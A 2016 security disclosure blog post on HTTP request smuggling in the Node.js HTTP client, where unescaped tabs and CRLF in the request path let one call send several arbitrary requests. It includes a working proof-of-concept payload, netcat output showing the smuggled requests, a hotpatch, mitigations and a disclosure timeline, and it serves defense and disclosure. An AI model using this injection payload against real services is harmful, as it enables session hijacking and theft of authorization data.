Node.JS Request Smuggling

The Node HTTP Client checks for invalid characters such as new lines that can be used to perform HTTP Smuggling attacks, however, the rules for the path option are quite relaxed.

By combining the fact that we can inject new lines and tabs in the path, we can force multiple arbitrary HTTP requests to made. This only works if the target HTTP server has a relaxed HTTP parser that allows tabs instead of spaces (for example, Apache).

This was tested in node version v0.12-v6.20 (stable) and should work in the current release (as of October 4th, 2016). This is a separate issue from CVE-2016-2086.

Example Attack

var http = require('http');

var options = {  
  host: 'localhost',
  port: 8080,
  path: "/security_report.html\tHTTP/1.1\r\nHost:\thttpd.apache.org\r\nContent-Length:\t0\r\n\r\nGET\t/robots.txt\tHTTP/1.1\r\nHost:\thttpd.apache.org\r\nContent-Length:\t0\r\n\r\nGET\t/404time"
}

http.request(options, console.log).end();

Result

$ nc -l 127.0.01 8080
GET /security_report.html    HTTP/1.1  
Host:    httpd.apache.org  
Content-Length:    0

GET    /robots.txt HTTP/1.1  
Host:    httpd.apache.org  
Content-Length:    0

GET    /404time HTTP/1.1  
Host: localhost:8080  
Connection: close

This demo forwards the request to Apache.org, 3 requests are made (/security_report.html, /robots.txt, and /404time)

nc -l 127.0.0.1 8080 | nc httpd.apache.org 80 | grep Content-Length  
Content-Length: 7523  
Content-Length: 33  
Content-Length: 205  

A common attack vector would be if user-input is used by a node.js application to make an API call to another service via HTTP.

It should also be noted that by default Node's HTTP Client will use an agent with Keep Alive enabled so that if users are making requests within the timeout window and the target server has Keep Alive enabled, they will be sharing the same TCP connection. If authorization information is sent via these requests an attacker could leverage this attack to steal sensitive information or hijack another users session

Attack Vectors

  • Any place where user input may be used in a path passed to the node core HTTP Client. Think calls to third-party APIs or authentication via oAuth

Mitigation

  • Any applications should ensure control characters such as tabs and newlines in the path are URL escaped or rejected by the application
  • Make sure any libraries you use that make outgoing HTTP requests perform the above validation

Hotpatch

Until the official patch is available, you can hotpatch your applications using the code below:

// grab an instance of the low-level HTTP Client module
var _http_client = require('_http_client')  
var util = require('util')  
var originalClientRequest = _http_client.ClientRequest

function PatchedClientRequest(options, cb) {  
  // copied from the original constructor
  if (typeof options === 'string') {
    options = url.parse(options);
    if (!options.hostname) {
      throw new Error('Unable to determine the domain name');
    }
  } else {
    options = util._extend({}, options);
  }

  if (options && options.path && /[\r\n\t ]/.test(options.path)) {
    throw new TypeError('Request path contains unescaped characters');
  }
  originalClientRequest.call(this, options, cb)
}

util.inherits(PatchedClientRequest, originalClientRequest)  
_http_client.ClientRequest = PatchedClientRequest  

You must require or execute this code before any other modules for this to be effective.

Suggestions

  • Behave like cURL in rejecting unescaped control characters such as \n in the path. This has been discussed by the Node Team but has not yet been implemented
  • Until then, clearly document the need to escape new lines and tabs from user input in the path so that no one is caught by surprise (I am working on a PR for this now)
Disclosure Notes
  • The Node Team responded saying they were aware of the issue when I reached out to them 4 months ago
  • I reached out again on September 28th, 2016 and received a very quick response from the team indicating this vulnerability is still under review
  • We discussed that this has been publicly discussed prior to this blog post and therefore is not sensitive information
  • With this in mind, I have decided to publicly disclose the issue so anyone using the Node.JS client with user-input can secure and protect their applications.
  • Post published publicly on September 29th, 2016
  • Update: October 5th, 2016: This issue is addressed by PR #8932 by Ben Noordhuis

Christopher Tarquini

Technical Lead with Linode Professional Services. All posts/opinions/rants/spelling errors are my own.

https://tarq.io
New Jersey

comments powered by Disqus